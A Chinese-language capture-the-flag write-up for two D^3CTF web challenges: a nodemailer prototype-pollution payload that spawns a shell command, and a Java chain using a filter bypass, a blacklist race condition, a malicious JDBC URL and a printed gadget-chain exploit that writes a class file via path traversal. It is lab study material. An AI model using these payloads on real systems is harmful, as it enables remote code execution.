D^3CTF 8-bit-pub & non_RCE

8-bit-pub

首先要成为admin,本来以为是文件读取读key然后伪造session啥的,但是这代码路由写死了

图片

总的来说就三个功能

登陆注册用的是预编译,可以这样

图片

sql查询就变成了

SELECT * FROM test WHERE username='admin' and password=`password`=true; 

admin可以发送email

图片

图片

这里能向contents插入任意对象,但是不能proto原型链污染,貌似是shvl.set函数过滤了,但是其他都可以,例如插入附件

图片

然后邮箱中收到附件

图片

现在能读文件,但是题目要求/readflag

然后偶然间登陆的时候碰到这个,也不知道是nodejs同步异步还是什么的问题,能看到别人的参数报错

图片

顺藤摸瓜找到node_modules\nodemailer\lib\sendmail-transport\index.js中有一个chlid_process,并且构造函数中将其赋值给_spawn

图片

然后在下面send方法中找到一处调用

图片

先看看this.path和args

图片

发现两个参数均来自options,args需要是数组,而options就是SendmailTransport类的构造参数,全局搜索一下哪里调用了这个类

图片

在nodemailer.js中有实例化,跟进发现这个函数就是mail.js中创建transporter的函数

mail.js

图片

nodemail.js,其中构造参数来自options,options又来自transporter

图片

假设这里参数可控,那么SendmailTransport中的这一段就能命令执行了

sendmail = this._spawn(this.path, args);

接下来就得找到调用SendmailTransport.send()的地方
先回到nodemail.js

实例化后放到Mailer中返回

图片

然后调用sendMail

图片

跟进,在node_modules\nodemailer\lib\mailer\index.js#214行中调用了send函数

图片

接下来需要用原型链污染,污染options里的参数,首先需要options.sendmail为真,确保进入if

图片

然后相继污染path,args

payload:

{"to":"1966239894@qq.com","subject":"123","text":"123","constructor.prototype.sendmail":true,"constructor.prototype.path":"/bin/sh","constructor.prototype.args":["-c","/readflag >/tmp/wand"]}

图片

写入成功后去读文件

图片

图片

d3ctf{01c185051349caebc42bf2a2bef08e9cca73b0f9bf680cf6406127081c6679eb}

non RCE

官方wp说的很清楚:https://mp.weixin.qq.com/s/yQ-00YaykUe41S0DdlgoiQ

简单记一下
首先loginfilter需要password,这里可以用AntiUrlAttackFilter,来绕:

在这里插入图片描述

因为这里loginfilter是

@WebFilter(
        filterName = "LoginFilter",
        urlPatterns = {"/admin/*"}
)

默认这样写只拦截REQUEST请求,所以我们从AntiUrlAttackFilter中forward过来的流量就不会拦截,
如:

http://127.0.0.1:8080/;admin/importData

在这里插入图片描述

在这里插入图片描述

dispatch type就是filter需要处理的流量类型,有FORWARD、INCLUDE、REQUEST、ASYNC、ERROR 5种类型。其中REQUEST就是最常见也是filter默认的处理类型,即正常的请求流量;而FORWARD就是服务端转发类型,无论开发者是使用web.xml还是webfilter注解注册filter,如果该应用的认证filter没有设置dispatch type,它默认的dispatch type就只有REQUEST

如果这样就不会被绕了

@WebFilter(
        filterName = "LoginFilter",
        urlPatterns = {"/admin/*"},
        dispatcherTypes = {DispatcherType.REQUEST, DispatcherType.FORWARD}
)

现在能访问admin路由了,adminservlet中是一段mysql连接

在这里插入图片描述

如果搜一下黑名单中过滤的autoDeserialize就会发现MySQL JDBC 客户端反序列化,可以伪造mysql服务达到反序列化的目的:
https://www.anquanke.com/post/id/203086

但是黑名单中把必要的关键字autoDeserialize过滤了

这段生成了一个单例的blackListChecker对象

public static BlackListChecker getBlackListChecker() {
    if (blackListChecker == null){
        blackListChecker = new BlackListChecker();
    }
    return blackListChecker;
}

官方wp已经说的很清楚了:

整个程序生命周期中最多只会生成1个BlackListChecker对象,因此,这里存在多个线程对同一个对象做操作的情况。而在黑名单的检测逻辑checker.BlackListChecker#check方法中,会把待检测的字符串设置到BlackListChecker对象的toBeChecked成员变量中,再从toBeChecked中拿出来做字符串contains检测,因此,这里存在多个线程对同一个对象做写操作的情况,存在条件竞争问题。

现在能反序列化了,需要找利用链

可以看到这里加载了aspectjweaver

在这里插入图片描述

ysoserial中有一条这个链,不过要配合CommonsCollections3.2.2,但是这里有个出题人写的DataMap

调用链

/**
 * @author Lucifaer
 * @version 3.0
 *
 * Gadget chain:
 * HashSet.readObject()
 * HashMap.put()
 * HashMap.hash()
 * DataMap.Entry.hashCode()
 * DataMap.Entry.getValue()
 * DataMap.get()
 * SimpleCache$StorableCachingMap.put()
 * SimpleCache$StorableCachingMap.writeToPath()
 * FileOutputStream.write()
 */
 ```
 这里用了nu1l的exp
```java
public static Serializable getGadget() throws Exception {
        byte[] content_byte = Files.readAllBytes(new
                File("C:\\Users\\xc\\Desktop\\D3CTF\\non-RCE\\target\\classes\\checker\\Exp.class").toPath());
        String file_name = "../../../../../../../../../../../../../..//Users/xc/Desktop/D3CTF/non-RCE/target/classes/Exp.class";
        Constructor aspectjConstructor =
                Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
                        .getDeclaredConstructors()[0];
        aspectjConstructor.setAccessible(true);
        Object simpleCache = aspectjConstructor.newInstance(".", 12);
        HashMap wrapperMap = new HashMap();
        wrapperMap.put(file_name, content_byte);
        DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
        Constructor entryConstructor =
                Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];
        entryConstructor.setAccessible(true);
        Object entry = entryConstructor.newInstance(dataMap, file_name);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field field = null;
        try {
            field = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            field = HashSet.class.getDeclaredField("backingMap");
        }
        field.setAccessible(true);
        HashMap innimpl = (HashMap) field.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField =
                    Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, entry);
        ObjectOutputStream o = new ObjectOutputStream(new
                FileOutputStream("./Object.obj"));
        o.writeObject(map);
        o.flush();
        o.close();
        Exp exp = new Exp();
        ObjectOutputStream ox = new ObjectOutputStream(new
                FileOutputStream("./Exp.obj"));
        ox.writeObject(exp);

        return map;
    }
    public static void main(String[] args) throws Exception{
        getGadget();
    }

Exp.java中重写readobject方法

在这里插入图片描述

运行上面这个会生成Object.obj和Exp.obj
使用mysql_fake_server时将文件内容先改为Object.obj

然后使用工具开启server,条件竞争发送连接请求

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

这样就会在靶机targets的classes目录下写人exp.class

在这里插入图片描述

再把发送的改成 Exp.obj,反序列化触发rce

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇